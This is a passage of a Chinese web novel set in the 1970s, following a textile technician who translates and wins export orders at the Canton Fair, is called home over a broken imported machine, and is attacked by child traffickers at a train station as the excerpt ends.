外商推了推鼻梁上的金丝眼镜,用略显生硬的中文笑道:“郑厂长,我们相信中国的技术实力,更相信姜小姐的专业判断。” 他转头看向站在一旁的姜海棠,眼中带着毫不掩饰的赞赏,“她对经纱张力调节系统的讲解,比我们的技术顾问还要清晰。” 郑开河这才后知后觉地看向姜海棠。 他想起出发前毛厂长拍着他的肩膀说:“开河,广交会是咱们厂的机会,三天能谈成一单就不算白来。实在遇到困难的时候,找姜海棠同志,她能给你代理惊喜。” 他当时并没将这些话放在心上,觉得姜海棠应该没有这么大的本事,却没想到,在姜海棠的帮助下,原本三天才可能出现破零的计划当天就完成了。 现在距离广交会开展才半天,就迎来这样的“开门红”可喜可贺啊,这一切要感谢姜海棠。 “姜工,今天这事儿,你居功至伟啊!”郑开河的声音里满是感激。 若不是姜海棠刚才及时解围,此刻展台前恐怕早已冷清。 思及此,郑开河看向颜培文的眼神就有些不好了。 姜海棠淡定自若地笑着:“郑厂长言重了,我也是咱们机械厂的一员,做这些是应该的,总不能看着自家厂子的生意黄了。” “接下来几天,可能还需要麻烦你帮帮机械厂,不过你放心,我等下就给厂里打电话,让厂里另外安排翻译人员过来。” 颜培文,郑开河已经决定不用了。 “不行!”颜培文感受到了危机,立即反对:“我是专业的翻译人员,你们不可以另外找翻译!” “颜培文,你自己掉链子就算了,还不允许我们另外找翻译人员,你觉得,机械厂是你说了算吗?”郑开河不打算继续姑息颜培文了。 至于回去后,会面临的处分,等回去后再说吧,就算要处分,他也要完美的完成广交会这项任务。 “郑开河,你的前途不要了吗?” “我知道,你要说你爸爸,如果你父亲颜副主任真的为了你的失职处分我,我可以接受,但在处分下来之前,我是机械厂的副厂长,是这一次参加广交会的负责人!” 郑开河是真的做好了撕破脸的准备,根本不给颜培文面子。 就是这位自诩“专业翻译”的姑娘,对着客商提出的“瞬时张力承载系数”支支吾吾,最后涨红了脸说“这是故意刁难”,差点把客商气走。 颜培文站在一旁,漂亮的眸子看向姜海棠的时候,都是怨毒。 姜海棠凭什么? 一个乡下来的贱人,竟然能说动那些老外订购产品。 “郑厂长,你……” “颜培文同志,”郑开河深吸一口气,“接下来几天,你就留在招待所吧,不用来展台了。” 当初颜培文一口咬定自己的外语水平过关,甚至,还拒绝厂里另外安排一位翻译人员过来,导致今天冷场。 机械厂确实需要有一名翻译,但不需要一名拖后腿的翻译。 今天只是简单的对话她就卡了壳,他就算不懂外语,也能感觉到,颜培文的外语水平好这个话有待商榷。 颜培文猛地抬起头,白色的确良衬衫因为动作而绷紧,露出纤细的锁骨。 她的脸原本白皙漂亮,此刻却涨得通红,一双杏眼死死盯着姜海棠。 “郑开河,你没有这个权利阻止我来展台!” “我们要的是翻译,不是来添乱的。”郑开河的声音冷了下来。 “我添乱?”颜培文的声音陡然拔高,精致的脸上掠过一丝扭曲,“一个乡下来的土包子,你们一个个都护着,想着我好欺负吗?” 郑开河简直要气笑了,什么时候,他们敢欺负这位官二代了? 他攥紧拳头,指节发白:“颜培文同志,如果有处分,我等着,但在处分下来之前,我是这次广交会的负责人。机械厂的利益,比谁的面子都重要。” “你!”颜培文气得浑身发抖,漂亮的眸子看向姜海棠时,淬满了怨毒。 颜培文狠毒的目光看向姜海棠,却惊讶地发现,姜海棠身后不远处站着一个人。 是周副部长!他什么时候来的?刚才的话,他是不是全听见了? 郑开河这时也才发现周副部长,连忙走上前:“周副部长,您怎么来了?也不提前说一声,我好准备准备。” 周副部长摆摆手,目光越过他落在姜海棠身上,眼神里满是温和的赞赏。 “我是跟着小姜一起过来的,刚才看完她给纺织厂争取到了一笔大订单,又看到给你们机械厂争取到了订单,果然是巾帼不让须眉啊!” “周副部长,您过奖了,我就是做了自己应该做的。” 看着谦虚的姜海棠,周副部长更加满意了,他又将目光看向郑开河。 “郑副厂长,你做得很对,这件事,我会专题给部里做汇报,你放心吧,我们绝对不会让尽职尽责一心为公的人受委屈!任何人都不行!” 周副部长这个话,就是公然的给郑开河站台支持了。 “周副部长,我没有,只是……”颜培文立即开口解释。 “你不用解释,我年龄虽然大了,但耳朵还算好,听得清清楚楚。”周副部长摆摆手,打断了颜培文的辩解。 颜培文慌了,眼泪差点掉下来。 但周副部长并没有放过她的打算,他目光严厉地扫了她一眼。 “颜培文同志,1972年尼克松访华时,周总理就说过,外交工作要看实绩,不看身份。你连基本的翻译职责都没尽到,还在这里摆架子?” 颜培文的脸瞬间失去了血色。 她爸早就跟她说过,这位周副部长是出了名的“油盐不进”,最恨搞特殊化。 去年有个司长因为给亲戚走后门批紧俏物资,被他在大会上点名批评,直接调到了仓库。 她张了张嘴想辩解,却被周副部长抬手打断:“你的职责是架起沟通的桥梁,不是制造障碍。回去后,好好加强业务学习吧。” 这句话像一把重锤,砸碎了颜培文最后的希望。 她知道,自己的前途可能就毁在这几句话里了。 她死死咬着嘴唇,指甲掐进掌心,视线像毒箭一样射向姜海棠,这个可恶的贱人,她绝不会放过! 姜海棠感受到那怨毒的目光,心里微微发寒。 “姜海棠同志,”周副部长的目光转向她,语气温和了许多,“你不仅外语好,对机械技术也很熟悉,难得有这样的大局观。部里正组建对外技术交流小组,有没有兴趣来京城工作?” 周围的人都屏住了呼吸。谁都知道,能进部委工作是多少人梦寐以求的事,更何况是这样直接的提拔。 颜培文更是瞪大了眼睛,嫉妒得快要发疯。 凭什么?一个乡下丫头能得到这样的机会? 姜海棠也愣了一下,随即诚恳地摇了摇头:“谢谢您的赏识,周副部长。但我还是想留在基层。金城纺织厂还有很多技术难题等着攻克,我走不开。” 周副部长有些意外,随即露出赞赏的笑容:“好,有志气!基层确实需要你这样的人才。这个邀请长期有效,什么时候想通了,随时来找我。” 他顿了顿,像长辈一样笑问,“结婚了没有?要不要我给你介绍个有志青年?” 姜海棠的脸颊微微泛红,不好意思地笑了:“已经订婚了,等广交会结束,就准备结婚了。” “哦,你这样优秀的女同志,对象也应该很优秀。”周副部长饶有兴致地问。 他猜测,小姜同志不愿意去部里工作,大概还有家庭的原因。 如果小姜的对象一样优秀,或许可以一起调动到京城工作。 “我对象是金城纺织厂的陆良辰。” 周副部长眼睛一亮,随即笑了起来:“原来是小陆啊!不错不错,你们俩都是好孩子。” 姜海棠心里一动,看来这位副部长和陆家人是认识的。 陆良辰的家庭,和部里的领导有交集也不奇怪。 就在这时,展位外又传来一阵脚步声。 几个高鼻梁的外国客商被织布机的吸引,正探头探脑地往里看。 郑开河连忙迎上去,刚张开嘴又想起语言障碍,尴尬地回头看向姜海棠。 姜海棠会意,快步上前,用流利的英语打招呼:“先生们,欢迎了解金城机械厂的织布机,这款织布机的生产效率比同类机型高出 15%,能耗却降低了 8%……” 第216章 拿命换外汇 客商们的眼睛亮了起来,纷纷围上前询问细节。 姜海棠从容不迫地一一解答,偶尔拿起纸笔写写画画,专业得像个资深工程师。 郑开河看着这一幕,长长地舒了口气,随即想起现在还有翻译的问题没有解决,他打算等下就去邮局给厂里打电话。 接下来的几天,姜海棠成了广交会上的“明星”。 她白天在机械厂展台帮忙翻译、讲解技术,晚上赶回纺织厂的展位整理样品、核对订单,每天只睡四五个小时,都快要忙疯了。 这天下午,她刚帮机械厂签下一笔追加订单,正准备回纺织厂,忽然觉得一阵头晕。 她扶住展台边缘,指尖微微发颤,眼前的织布机开始模糊。 “姜工,你脸色怎么这么差?”郑开河正好看到,连忙递过一杯水,“是不是累坏了?我让小周送你回招待所休息。” 姜海棠摇摇头,刚想说话,胃里却一阵翻涌。 她摆摆手:“没事,可能是有点水土不服,我去洗把脸就好。” 可刚走到洗手间门口,她就腿一软,差点摔倒,幸好被赶来的康小夏扶住。 “我的老天爷!”康小夏看着她苍白的脸,又气又急,“你这是拿命换外汇啊!” 她半扶半搀着姜海棠往回走,嘴里不停念叨,“你看看你,眼下的青黑都快赶上熊猫了!今天说什么也得休息,纺织厂那边我替你盯着,机械厂要是再敢来叫你,我就把郑开河的算盘珠子拆了!” 姜海棠靠在她肩上,有气无力地笑:“别冤枉郑厂长,我也是机械厂的员工,干点儿不是应该的?” “钱重要还是外汇重要?”康小夏嗔怪地拍了她一下。 “我可能就是忘了吃早餐。”姜海棠怀疑自己是低血糖了。 康小夏叹了口气,从包里拿出个油纸包:“幸好我给你带了糖包,快吃点垫垫。” 糖包的甜味在舌尖散开,姜海棠的力气慢慢恢复了些。 “我们回去吧,展台那边不能没人。” “你就不能休息休息?机械厂不仅超额完成了出口任务,还与多个国家建立了长期合作关系。就算你现在不管,也没太大的问题。” 姜海棠笑着说:“今天晚上,机械厂的翻译就能到位,我就不用这样来回跑了。” 不想继续被康小夏批评,姜海棠忙换了话题:“小夏,你有没有觉得……这几天好像特别安静?” 康小夏愣了一下,随即反应过来:“你是说岳城?” “是啊!岳城那边太平静了,反而不对。”姜海棠压低声音。 “赵凯说,陆大哥托人打了招呼,有专门的人盯着呢,估计他们没机会靠近。” 姜海棠心里一暖。陆良辰总是这样,不说多话,却把什么都安排得妥妥帖帖。 恢复了一点力气之后,姜海棠回到了工作岗位上。 恰在此时,吴慧婷来了。 “海棠,你的脸色怎么这么差?”看到面白如纸的姜海棠,吴慧婷吓了一跳。 吴慧婷今天穿了件米色西装套裙,在满眼蓝灰黑的招待所里显得格外亮眼,却没戴任何首饰,作为客商,外商们入乡随俗,都默契地保持低调,和这个国家保持一致。 姜海棠笑着道谢,倒了杯茶水递过去:“我还以为这一届广交会您不来了。” “有些事耽误了,想着反正肯定是要找你们谈,早来也没必要,就等了几天。你们的混纺呢料质量比去年还好,我的服装厂订了两百件大衣,就用这个料子。” 姜海棠眼睛一亮,“我们新上了新机器,纱线更均匀,做大衣挺括又透气。” “确实不错,等下我就签合同。” 说话的时候,她看到姜海棠将一摞羊毛衫和尼龙袜整齐地码放在展台最显眼的位置的时候,不由惊讶。 “海棠,你们什么时候能生产尼龙袜了?你们主推的不是混纺呢料吗?” “就是最近,我们新成立了一个袜子车间。”姜海棠笑着拿起一双袜子给吴慧婷看。 吴慧婷摸着柔软的袜子,说:“这个袜子质量确实不错。” “您要不要考虑一下?” 吴慧婷摇摇头:“我只加工服装,袜子用不到,不过,我有个朋友明天就到了,他或许会需要,我到时候会给他推荐。还有你们的羊毛衫,他也很有兴趣,如果他能看中你们的羊毛衫,相信会为你们带来不错的效益。” “谢谢您的提携!”姜海棠十分诚恳的道谢。 “你我之间,不需要这么客气,海棠,你真的不考虑,跟着我去香江发展吗?香江的发展,确实比这边要好上许多。” 姜海棠摇摇头:“我热爱我现在的这份工作,我也希望能在未来,为了祖国的发展贡献自己的力量。” 吴慧婷捏着袜子说:“你很有想法,这双袜子应该用了独创的加固工艺吧?耐磨度比现在市面上的袜子要高出不少。” 姜海棠笑道:“这都让您发现了?确实是这样,耐磨度提高三倍,但成本只增加10%。” 两个人说话的时候,正好有人路过,听到姜海棠说耐磨度提高三倍的时候,不由驻足。 吴慧婷说:“不错,这袜子我相信会很有市场。” “借您吉言。” “等你忙完了,我们一起去吃个饭,我这次来,没打算多待,再有两三天就要回去了。” “这么急吗?” “是啊,我的厂子正在扩建,需要我时时刻刻盯着才行,离开时间太长,我不放心。” “祝您的生意能蒸蒸日上。”姜海棠客客气气的送上祝福。 “海棠,国内目前纺织工业系统主要在发展化纤原料的生产技术,你们厂也应该朝着这个方向发展,不过,第一批的基地建设,你们错过了,这会让你们的发展滞后许多。” 姜海棠没想到,一个香江的客商,能对自己说这些。 “这是国家统一安排的,不过,谢谢您的提醒,我们会积极主动争取。”有些话不能说的太直白。 “我相信你们能做到,希望未来,我们能在化纤面料上有新的合作。” “一定会有那一天的。”姜海棠也不知道,自己这话是说给吴慧婷听,还是说给自己听,但她确实有这个想法。 吴慧婷看着她眼里的光,忽然叹了口气:“说真的,海棠,你要是愿意来香江发展,我给你开比现在高出十倍的工资。那边的市场大,机会也多。” 姜海棠摇摇头,笑容温和却坚定:“不了,我还是觉得在国内踏实。您也知道,咱们国家的纺织业底子薄,正需要人往上赶。我想留在厂里,看着咱们自己的面料一步步赶上国际水平。” 吴慧婷给姜海棠留下了两本关于化纤面料研究的书籍,“我猜你对这两本书有兴趣,特意给你带过来的。” 姜海棠欣喜的道谢,她确实需要掌握这方面的知识。 吴慧婷笑了笑:“跟我客气什么。对了,我认识个做百货贸易的朋友,明天就到,我让他过来看看你的袜子?” “那太感谢了!” 送走吴慧婷,姜海棠陷入沉思。 1973年初,国家开始筹建第一个大型石油化纤原料基地“上海石油化工总厂”第一期工程;同年9月,在四川筹建生产维纶的大型化工化纤联合企业“四川维尼纶厂”,主要是生产乙炔,制成醋酸乙烯,再聚合为聚乙烯醇。 去年8月,辽阳石油化纤总公司破土动工兴建,以石油为原料,采取提取芳烃为主的工艺路线。 接下来几年,先后有天津石油化纤总厂、上海石油化工总厂等项目开始建设,等这些厂子正式建成投产之后,乙烯、丙烯、芳烃等生产线都会打通,化纤原料生产的技术水平和自给能力大大提高。 随着这些厂的高速发展,剩下的纺织厂将会在一段时间内处于劣势。 按照上辈子的轨迹,等化纤原料充足了,传统纺织厂不转型就麻烦了。 金城纺织厂确实错过了第一批化纤基地的建设,但未必没有机会。 国家还会陆续批准第二批、第三批化纤项目,如果能争取到其中一项,金城纺织厂就能扭转局面。 不过,现在最要紧的,还是先把广交会的订单拿稳。 正想着,一个身材高大的外国客商走了过来,他拿起一双尼龙袜仔细端详,又摸了摸羊毛衫的质地,用英语问道:“美丽的中国小姐,这些产品可以给我介绍一下吗?” 姜海棠立刻打起精神,微笑着用流利的英语回答:“先生,您看这个袜底的菱形纹路,用的是加固双线,耐磨度比普通袜子高三倍,羊毛衫采用的是 32支精梳纱,缩水率控制在 3%以内……” 她很认真的对产品进行介绍,对方显然是满意的。 “请问,这些货物的价格是多少?” “尼龙袜每打十二美元,羊毛衫每件十八美元,量大可以优惠。” 客商听得很认真,不时拿起袜子和羊毛衫翻看。 “我需要五千打袜子,三千件羊毛衫,但价格要比报价单低 10%。” 第217章 成绩斐然 姜海棠的笑容不变,语气却很坚定。 “先生,我们的价格已经是成本价加合理利润了。如果您能签一年的供货合同,我可以申请降 5%,这是我们厂长给我的最大权限。” 客商挑眉:“长期合作?” “是的,我们可以保证每年稳定供货,并且优先为您提供新研发的产品。”姜海棠自信而又明媚,让人不由产生信任。 姜海棠迎上他的目光,不卑不亢,“您也知道,中国的制造业正在快速发展,现在建立合作,将来您会得到更优质的产品和服务。” 客商沉默了片刻,忽然笑了:“姜小姐,您很有底气,我相信您的判断。”他伸出手,“就按您说的,先签五千打袜子和三千件羊毛衫。如果质量达标,我们再谈长期合作。” 姜海棠松了口气,赵凯也主动上前,经过姜海棠的介绍之后,几个人一起开始研究合同细节。 最终,双方十分友好地签订了合同。 送走了客商,赵凯忍不住赞叹:“姜工,您可真是咱们厂的福星!这一单就能顶咱们半年的外汇任务!” 加上今天这一笔订单,这一次广交会已经超过了去年秋季广交会的成交金额。 他们这一次广交会,必然取得大丰收。 姜海棠笑着摇摇头:“这是大家共同努力的结果。从纺纱到织布,每道工序都离不开工友们的辛苦。” 赵凯激动地搓手:“扫最,等回厂里,我一定向厂党委汇报你的贡献!” 姜海棠刚想说话,忽然感觉一阵头晕,她扶住展台边缘,脸色微微发白。 “嫂子,你怎么了?”赵凯连忙扶住她。 “没事,可能是这几天太累了……”姜海棠勉强笑了笑。 赵凯皱眉:“你赶紧回去休息,这里有我和其他同志顶着,我让小夏送你回去。” 姜海棠本想拒绝,但眼前一阵阵发黑,只好点头:“那……我先回去躺一会儿。” 康小夏送姜海棠回招待所,一路上都在埋怨。 “那会儿看着你身体就不好,让你休息,非得工作,看看都累成什么样子了?以后可不能再这样了,我回头得和赵凯说说,你要是再这样,就让你暂时休息!” “我知道了,小夏,我保证今天下午好好睡觉,保证充足的休息。” 康小夏一直守着姜海棠,等姜海棠沉沉睡去,才急匆匆离开。 姜海棠在招待所的床上昏昏沉沉地睡了一下午,醒来时窗外已是暮色沉沉。 她揉了揉太阳穴,发现床头柜上放着一杯水,旁边还有一张字条,是康小夏的字。 “海棠姐,我去给你买点吃的,你醒来了先喝水。” 她撑着身子坐起来,喝了几口水,人也算彻底精神过来了。 这时,房门被轻轻叩响。 “小夏?”姜海棠问道。 “是我。”门外传来郑开河的声音,“姜工,你好些了吗?” 姜海棠连忙整理了下衣服下床,然后又将床铺简单的整理了一下,感觉能见人了,才走过去开门。 “郑厂长,请进。” 郑开河手里还拎着一个网兜,里面装着几个苹果和一瓶麦乳精,歉意地说:“听说你累倒了,我代表厂里来看看你。” 郑开河觉得,姜海棠都是因为承担了机械厂的翻译工作,才会如此。 “您太客气了。”姜海棠有些不好意思,“只是有点头晕,休息一下这就已经好了。” “明天你再休息休息,要不去医院检查一下身体。” “不用了,我今晚再睡一觉,明天起来,保证精精神神的。” 见姜海棠的状态确实不错,郑开河也就不勉强她了。 他把带来的网兜放在桌上,神情严肃起来。 “姜工,有件事得和你商量。刚才周副部长让人来说部里要组织一个技术考察团去德国,问你要不要参加?” “德国?”姜海棠一怔。 “对,主要是考察他们的化纤设备和纺织机械。”郑开河压低声音,“周副部长说,这是个难得的机会,能接触到最先进的技术。” 姜海棠心跳加快。 如果能去德国学习,对金城纺织厂的技术革新会有巨大帮助。 “什么时候出发?要去多久?“ “下个月初,大概三个月,我也觉得你应该抓住机会,而且这次考察团的团长,就是周副部长本人。” 姜海棠眼睛一亮,如果有周副部长带队,那这次考察的意义就更加重大了。 “我需要考虑一下。”她最终说道。 郑开河点点头:“明天给我答复就行。” 他刚离开,康小夏就端着热腾腾的饭菜回来了:“海棠姐,快趁热吃!我特意去国营饭店买的鸡汤面,还加了个荷包蛋!” 姜海棠心里一暖:“谢谢你,小夏。今天我不在,你们忙坏了吧?” “我还好,知秋姐那边压力增加了许多,这会儿还在呢。知秋姐给我说,让我好好照顾你就行,让你好好休息。” 康小夏一边帮她摆筷子,一边絮絮叨叨:“今天下午又签了两单,数量虽然都小,但都是冲着咱们的尼龙袜来的!” “真的,那可太好了。”姜海棠欣喜地说。 第二日一早,姜海棠果然恢复得差不多了,整个人神清气爽。 这个早上,外商没有过来几个,看中商品的更是没有,他们也是难得清闲。 临近中午,一位裹着头巾的中东商人驻足展台前,盯着羊毛衫看了许久。 “您好,需要为您介绍吗?”姜海棠立即上前询问。 商人摇摇头,用带着浓重口音说:“我很喜欢,只是太厚了,不适合我们的气候。” 姜海棠灵机一动,想起来这次来的时候,还带了几件浅色薄款,立即翻找出来。 “这是我们专门为天气比较热的地区设计的透气款,采用特殊纺纱工艺。” “这种衣服在沙漠地区非常实用,白天防晒,晚上保温。”姜海棠将羊毛衫比在肩上示范,“而且重量只有普通羊毛衫的一半。” 中东商人眼前一亮,接过姜海棠手中的羊毛衫仔细看了起来,过了一会儿,他掏出计算器:“每种颜色500件!等等……能绣上这个图案吗?”他指着样品册上的骆驼图案询问。 “当然可以。”姜海棠迅速画出设计图,“我们还能用金线刺绣,更符合贵国审美。” 中东商人十分豪气,觉得满意了,竟然没有讨价还价就答应下来,只是要求务必要符合设计。 又一份大单尘埃落定,参加广交会的众人都高兴得不得了,这一单落定,针织品的订单量竟然超过了主打的混纺呢料! “袜子十二万双!羊毛衫八万件!”赵凯捧着订单本的手都在发抖,“嫂子,您这是把咱们厂的边角料都卖出黄金价了!” 因为中东商人这一笔订单,姜海棠吃饭的时间不得不延后许多,打发走了客人,他正准备去吃饭,周副部长打发人来找她了,让她晚上去东方宾馆。 姜海棠猜测,周副部长找自己,应该是为了去德国培训的事,因此,并没有太在意就答应了下来。 下午,吴慧婷陪着一名客人到了金城纺织厂的展台前面,经过双商协商,对方也下了一批订单,而且,对方承诺,如果这批货卖得好,还会续订。 合同签订后,吴慧婷单独找姜海棠说话:“海棠,我明天就要回到香江了,你有什么需要,可以联系我,我能帮忙的,肯定帮。” 姜海棠对此十分感谢,在这个年代,能够勇敢对大陆伸出援助之手的人难能可贵。 “谢谢!我虽只是一个小人物,但我想代表千千万万的华国人民感谢您!” “我也希望祖国能够繁荣昌盛,我们这些人,和你们一样,希望祖国能够越来越强大,无论何时何地,只有祖国强大,我们这些人在外的日子,才能过得更加舒心!” “会的,或许,在未来十数年间,我们就能见证一个国家的腾飞。” 夜色中的东方宾馆灯火通明。 姜海棠推开会议室的门,惊讶地看到周副部长和几位军人正围着样品讨论。 见她进来,一位中年军人站起身:“姜海棠同志?我是总后勤部的王志强。你们的产品很适合部队需求,特别是这种加固袜子,能不能专门为部队设计一批?” 姜海棠没想到,还有这等好事儿呢,这简直算是喜从天降了。 “我们会立即着手设计,争取在半个月之内拿出样品。” 王志强和周副部长交换了一个惊讶的眼神。 周副部长笑着说:“我就说,你找金城纺织厂,肯定是找对人了,你看,没问题吧?” “果然,你的眼光还是好,那我就等着看你们的样品了,希望你们的样品不会让我失望。” 姜海棠坚决保证,绝对设计出最符合要求的袜子。 走出宾馆时,夜风拂过姜海棠滚烫的脸颊。 她想着,符合部队要求的袜子,应该具备什么样的特点。 后世好像听说过,部队的袜子防臭,连续穿多日都不会有臭味。 现在的技术应该做不到这一步,不过,她要为了这些最可爱的最可亲的人,做出当前这个年代最好的袜子。 第218章 紧急回程 战士保家卫国,用生命守护这片土地,纺织工人,要用最精湛的技艺,为他们织就最温暖的守护! 这不仅是袜子,更是纺织工人们对战士的一片赤诚之心和拳拳爱意。 当天晚上,姜海棠就开始想该怎么改进现有的袜子,才能生产出最好的袜子。 和她住在同一个房间的康小夏看着姜海棠这么拼命,忍不住扶额。 “海棠姐,你的身体刚好一点,可不能这样折腾。赵凯今天还专门叮嘱我,让你晚上一定要休息好。” 被康小夏强行合上本子的姜海棠,只能上床睡觉。 广交会最后一天,龙省按照惯例召开了总结会。 会上最风光的代表团就是机械厂和纺织厂。 纺织厂这边不用说,成绩斐然。 机械厂这边,郑开河红光满面地宣布这次共签订了一百五十台自动织布机的订单,还有其他机械也都有斩获,创汇金额达到九百四十万美元!是建厂以来最好的成绩! 其实,郑开河还是有点遗憾的,再有一点点,就能达到千万美元了,和九百多万,那就是天壤之别! 但下一次还是有机会的。 说不定,到了今年的秋季广交会,机械厂的成交额就能达到千万美元了。 要是放在以前,这根本是不敢想的,但是,现在郑开河觉得,这是可以期待的。 思及此,郑开河少不得要对姜海棠提出表扬,极尽赞美。 颜培文则坐在角落,脸色阴沉。 她实在不能接受,两个厂的厂长在总结会上,都对姜海棠提出表扬,甚至就连龙省代表团的领导,对姜海棠也是夸赞不断。 似乎没有了姜海棠,就不可能取得这些成绩一样。 分明,是因为厂里生产质量过硬,是大家一起努力才有这么多的成绩,姜海棠凭什么一个人独占功劳? “姜海棠,别以为你赢了。“颜培文咬牙切齿地说,“你一个乡下丫头,凭什么抢我的风头?我爸爸不会放过你的!” 姜海棠和已经坐了冷板凳的颜培文距离很远,自然听不到颜培文说的话。 可是她感觉到了一股森冷的气息,她扫视了一圈,感觉到这种气息是从颜培文的方向传过来的。 她无奈摇摇头,她这是被颜培文记恨上了,不过无人嫉妒是庸才,有人嫉妒,最起码证明了她的能力。 成绩斐然的喜悦在姜海棠回到招待所的时候,戛然而止。 周副部长安排人来告诉她,纺织厂那边出了点问题,让她抓紧时间回厂。 “可是都这时候了,也买不到火车票了。”赵凯不知道发生了什么事,但很忧心。 他们定的是后天的票,今天广交会结束,明天他们还需要做一下收尾工作。 “周副部长正好今天晚上要返回,已经帮您预定了一张票,您可以和周副部长一同乘坐晚上十二点的列车出发。” 姜海棠没想到,周副部长连这个都已经想到了。 但周副部长想得这样周全,姜海棠的心却更加不安了,能让周副部长这么重视,肯定不是小事。 现在姜海棠没有时间仔细考虑这件事,她需要抓紧时间收拾行李赶去火车站。 “姜海棠同志,您收拾行李,半个小时之后,会有车来接您去火车站。” 对方像是知道了姜海棠的想法一样,开口说。 姜海棠,放心了许多,立即上楼开始收拾行李。 因为突如其来的情况,大家的情绪都不是很好。 韩知秋一边帮姜海棠收拾东西,一边说:“这一次我们都不在身边,你一个人在路上要小心。” “不是还有周副部长,没事的。” “这么远的路,中间还要转车,现在也不知道周副部长是要回京城,还是跟你一样去西北呢。” 姜海棠沉默了一下,确实有这个可能,她和周副部长或许会在半路就分道扬镳。 剩下的路如果一个人走,其实也不是不行,姜海棠不是那种娇弱的不经风雨的人。 “没事,我很厉害的,就算一个人,也会平平安安回去的。” 姜海棠已经收拾好了行李,赵凯、康小夏和韩知秋几个人送姜海棠到大门口等车,郑开河急匆匆地跑过来,手里还拎着一个网兜。 “太晚了,我找了一大圈,才找到这么点吃的,姜工你带上路上吃。” 康小夏几个人听到郑开河这么说,这才想起来,他们竟然都没有想到这一茬。 “谢谢郑厂长。” 姜海棠之前其实也想到了吃饭的问题,但没有时间准备,只能等上车之后吃火车上的食物了,不挑剔的话,其实也还行。 这时候,一辆小汽车缓缓停在姜海棠的跟前,车上正是之前通知姜海棠的年轻人。 “姜海棠同志,我们可以出发了。” 赵凯立即说:“我送海棠去车站,等她上车之后再回来。” “赵副厂长,忙了这么多天,赶紧休息吧,海棠这丫头交给你,你放心,我还能把人给丢了?” 车窗缓缓降下,坐在后排的正是周副部长。 赵凯看到周副部长的时候,彻底放心了。 “那就辛苦您了,姜海棠同志是个年轻的女同志,又从来没有一个人出过远门,我们才多担心了一点。” “我懂,海棠同志,赶紧上车,迟了赶不上火车就麻烦了。” 姜海棠从小汽车的另一个车门上车,和周副部长一起坐在后面,向众人挥手告别。 小汽车在夜色中驶向火车站,姜海棠透过车窗望着广州城渐远的灯火,手指无意识地摩挲着行李包里的笔记本。 周副部长看了一眼,问道:“既然担心,为什么不开口问?” 姜海棠脸上依然是担忧,但语气却很平稳地说:“如果可以现在对我讲,您肯定会直接告诉我,没有告诉我,就代表现在不能讲。” 周副部长手里还拿着份文件,笑着说:“是个性格沉稳的,难怪陆家两上下对你赞不绝口。” 姜海棠没有回话,只是安安静静看着周副部长。 “你们厂的Y国进口牵伸机出了问题,说轴承突然卡死,整条生产线停了。”周副部长摘下眼镜揉了揉眉心,“部里刚接到电报,Y国方面不愿意安排专家前来维修。” 姜海棠心头一紧,这套设备是前几年引进的,如果出了问题,会严重影响到厂里的生产,尤其是在这一次签订了这么多的外贸订单的情况下。 金城纺织厂转型的关键,光是争取外汇指标,陆良辰就在部里立了三次军令状。 “具体是什么原因知道吗?”姜海棠咬着嘴唇想了一下问。 “他们的专家在沟通之后,咬定是我们的工人操作不当,因此,他们不会安排人前来维修。” 姜海棠摇头:“这不可能,我们厂的职工都是经过严格培训的,肯定有其他的问题。” 周副部长冷笑一声,“不过就是找个借口,我们国家现在弱小可欺,他们自然想以此要挟我们拿出更多的利益。” 车厢里顿时安静下来。 这时候,小汽车已经到了火车站。 “我们现在上车,车上再说。” 周副部长的表情不是很好,想到一次次被国外所谓的专家要挟,他的心情十分恶劣。 一行人顺利上了火车,因为周副部长的原因,他们这一次买到的是卧铺票。 火车晃晃悠悠地朝着夜色行驶,姜海棠和周副部长分析了一下情况后才沉沉入睡。 列车在漆黑的夜色中向北疾驰。 姜海棠在梦里看到了关于牵伸机结构的书,姜海棠认认真真将书上的内容都学习了一遍,又将可能出现的问题仔细地排演了一遍,找出最有可能出问题的地方。 等她醒来的时候,天已经大亮了。 对面下铺的周副部长已经起床了。 姜海棠看到领导都已经起床而自己才刚醒来,有些赧然。 看到姜海棠醒来,笑着说:“这段时间你辛苦了,等回去了,又是一场硬仗要打。” 姜海棠利索的下床,说道:“周副部长,我昨天晚上认真梳理了一下,已经排查出一些可能出现的问题的关键部位,等下我会详细地记录下来,或许对于下一步的工作开展有帮助。” 周副部长怎么也没想到,姜海棠躺在火车上,还在思考工作上的问题。 且不管在没有看到具体情况的时候,想的是不是正确,这样的精神就让周副部长对姜海棠更加欣赏了。 “海棠同志,你虽然还年轻,但也不能这样拼命,伟人都说了,身体是革命的本钱,不管什么时候,照顾好身体都是最重要的。” “多谢周副部长,我会认真调理身体,绝对不会因为身体原因,给工作拖后腿。”姜海棠坚决地保证。 “果然是个好同志,难怪两个厂情愿抢一个你,也不要别人,你确实值得。”周副部长不吝夸奖。 他最开始听到姜海棠竟然在两个厂里同时领取工资的时候,其实是有些不满意的。 但没想到,接下来姜海棠的表现,让她觉得,姜海棠一个人拿两份工资完全没问题,甚至,她一个人承担的总做责任,远远超过了两个人应该承担的。 第219章 火车站遇到人贩子 周副部长对姜海棠现在是十分满意。 很快,姜海棠要下火车和周副部长分别了。 “这是你下一程的火车票,海棠同志,我在京城等你啊!” 姜海棠忙道谢,并保证自己一定会尽快解决纺织厂的问题,赶在规定时间之前到京城和考察组汇合。 下了火车,姜海棠看了一下时间,现在是中午十二点,她的车要等到晚上七点多,还有六七个小时的时间。 她决定先去车站外面吃点儿东西,然后去当地的图书馆看看,能不能卖到有用的书。 姜海棠拎着行李走出火车站,站前广场上人潮涌动,挑担的农民、戴红袖章的民兵、背着帆布包的工人穿梭其间。 她四下环顾一圈,朝国营饭店的方向走去。 饭店门口排着队,姜海棠刚站定,就听见旁边巷子里传来小孩撕心裂肺的哭声。 “俺不要!俺要找娘——” 声音戛然而止,像是被人捂住了嘴。 姜海棠警觉地转头,看见一个扎蓝头巾的妇女正拽着个六七岁的小男孩往巷子深处拖,孩子拼命踢蹬着两条小腿。 姜海棠蹙眉,仔细观察了一下那扎着蓝头巾的中年妇女,总觉得,她有点问题。 再看看那小孩子,眼中的恐惧不似作假。 “同志!”姜海棠快步上前,“这孩子怎么了?” 妇女眼神闪烁:“我家娃闹脾气呢……你这死孩子,咋就这么不听话,还敢说你娘是人贩子!” 妇女狠狠地在孩子的身上拍了一巴掌之后,就要抱孩子离开。 小男孩突然挣脱,一口咬在妇女手上:“她是拐子!俺娘在车站里!大姐姐,你救我,救我!” 姜海棠心头一紧,正要伸手拉孩子,后脑突然遭到重击! 天旋地转中,她看见一个穿劳动布工装的男人举着木棍,妇女则麻利地用破布塞住孩子的嘴。 